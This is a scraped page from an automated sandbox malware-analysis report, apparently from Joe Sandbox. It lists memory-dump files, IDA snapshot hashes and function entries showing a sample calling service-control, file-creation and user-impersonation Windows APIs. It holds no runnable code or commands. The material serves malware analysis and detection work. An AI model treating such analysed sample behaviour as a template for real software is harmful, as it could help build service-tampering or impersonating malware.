Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction ID: f6e627aa4adec21d6c04466da20ff7b402437686e922cd215665222d5f44a497
Opcode Fuzzy Hash: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction Fuzzy Hash: 2111E6B610430AAEDB11DF5899046EFF798EB9E330F30143EB801D3A42EBB85D159A1D

Function 04A00D41 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A00DCD

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: d2e7af452c861d6d49e868ee3e8fda2ce9109a813e9fe1e3bf2788a55e947d7d
Instruction ID: 7d9650ae6837d1f547b2882da6c84b7fc0c6d0d539bb0f30283217b6b860b487
Opcode Fuzzy Hash: d2e7af452c861d6d49e868ee3e8fda2ce9109a813e9fe1e3bf2788a55e947d7d
Instruction Fuzzy Hash: 0C2139B5C05218DFDB50CF99E884BDEFBF4EB88310F14816AE808AB244D774A640CBA5

Function 04A00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A00DCD

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a1a2ae685ea2ab0b3dc9036ac0190453730a1f47832ca74d92613a938716d900
Instruction ID: 3fb4c230716cf5c98baa26ad1830d33f60602851b1249ed8f14db8414688fb38
Opcode Fuzzy Hash: a1a2ae685ea2ab0b3dc9036ac0190453730a1f47832ca74d92613a938716d900
Instruction Fuzzy Hash: 5C211AB5C052199FCB50CF99E884BDEFBF5EB88310F15816AD908AB244D774A540CBA5

Function 04A01509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A01580

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d888956a040d92c640c68bb6a761ff17960fe05013a96a4dbccb48889b52d95c
Instruction ID: 9edbcb46632ccb3a33683f937cf7356ffa6879a97db9ee1efa56e69e8cfcaba7
Opcode Fuzzy Hash: d888956a040d92c640c68bb6a761ff17960fe05013a96a4dbccb48889b52d95c
Instruction Fuzzy Hash: 1621D3B59002499FDB10CFAAD584BDEFBF4EB48324F10842AE559A7250D378A644CFA5

Function 04A01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A01580

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 686d1598297ee69fcef17aaa9f362cad32858efcfc6d20e45612dbdd20a0843f
Instruction ID: ce2376462e567f70e3688b1211682767175fb60de128b0ec9bfb9bef87bbbb51
Opcode Fuzzy Hash: 686d1598297ee69fcef17aaa9f362cad32858efcfc6d20e45612dbdd20a0843f
Instruction Fuzzy Hash: DC11E4B1900349DFDB10CF9AD484BDEFBF4EB48320F10802AE559A7250D378A644CFA5

Function 00438B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00438BE5

Memory Dump Source

Source File: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction ID: 093c91fd1be3e06303f132c877ff66777faea8437ba159068eac5845d145d064
Opcode Fuzzy Hash: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction Fuzzy Hash: FF01B1B620820A9EEB50CF58D9147EFB7D8EB99320F20442EB804C3A82D7795D55CB2D

Function 00438BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00438BE5

Memory Dump Source

Source File: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction ID: 89180d701b2803c61071362be85cc53c613dbbf4a52aa979f8962c95ff1f0788
Opcode Fuzzy Hash: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction Fuzzy Hash: 9D01ADB650834ACEDB49CF28D81139EB7E0EBA9310F20186FF404C3A92CA395D55CB0D

Function 04A01301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04A01367

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e61f1aa0b863d3d40b95ec4ee72c2a21660d6c1bfdae463ae318f1cf4cd46e9b
Instruction ID: 5bdc102139ff4b0812d185b504f96f457061f19bbb6c2f068f8164f3503cb60b
Opcode Fuzzy Hash: e61f1aa0b863d3d40b95ec4ee72c2a21660d6c1bfdae463ae318f1cf4cd46e9b
Instruction Fuzzy Hash: 47112872900249CFDB10CF9AD545BDEBBF4EF48324F14846AE558A7640C774AA44CFA5

Function 04A01308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04A01367

Memory Dump Source

Source File: 00000003.00000002.1782920659.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 98ae85ba644e5ed8a252584de1a36d2d137b872574a83330600b969dbe336e17
Instruction ID: 2bea2e647678aab67de4999a2ced5546e6556271c9ea5270b48aa392d560484c
Opcode Fuzzy Hash: 98ae85ba644e5ed8a252584de1a36d2d137b872574a83330600b969dbe336e17
Instruction Fuzzy Hash: 501106B1800349CFDB10CF9AD445BDEFBF8EB48324F14846AE558A7650D778A644CFA5

Function 00438BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00438BE5

Memory Dump Source

Source File: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779749886.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779787173.00000000004DA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779823610.00000000004DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779853646.00000000004DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779885277.00000000004E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779916678.00000000004F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779951877.00000000004F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779988062.00000000004F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780020286.00000000004F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780050658.0000000000501000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780080612.0000000000502000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780130463.000000000053D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780162660.000000000053E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.000000000053F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780192422.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780262160.0000000000556000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780293146.0000000000558000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_225E7CNEQKY05J8BSS2KINA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction ID: efe3a8a1be65cd025de93e388162df206d444204384f91307883822b4c97ab19
Opcode Fuzzy Hash: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction Fuzzy Hash: 1201DBB260828A8FDB58CF28D8407AEB7E4FB98310F24142FE400C3A92CB395C50CB0C

Function 00438BB7 Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00438BE5

Memory Dump Source

Source File: 00000003.00000002.1779034696.0000000000434000.00000040.00000001.01000000.00000006.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.1778504081.00000000002B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778614388.00000000002B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778649147.00000000002BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778685583.00000000002C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778717287.00000000002C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778750708.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778900771.0000000000417000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778933331.000000000041A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1778973361.0000000000432000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779003316.0000000000433000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779101451.0000000000447000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779130347.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779160132.0000000000452000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779195902.0000000000459000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779230017.000000000046F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779294954.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779327727.0000000000492000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779356531.0000000000493000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779397517.0000000000495000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779436417.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779470920.00000000004AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779500413.00000000004AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779530003.00000000004B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779559608.00000000004B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779601088.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779635962.00000000004C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779669096.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1779704339.00000000004CB000.00000080.00000001.01000000.00000006.sdmpDownload File
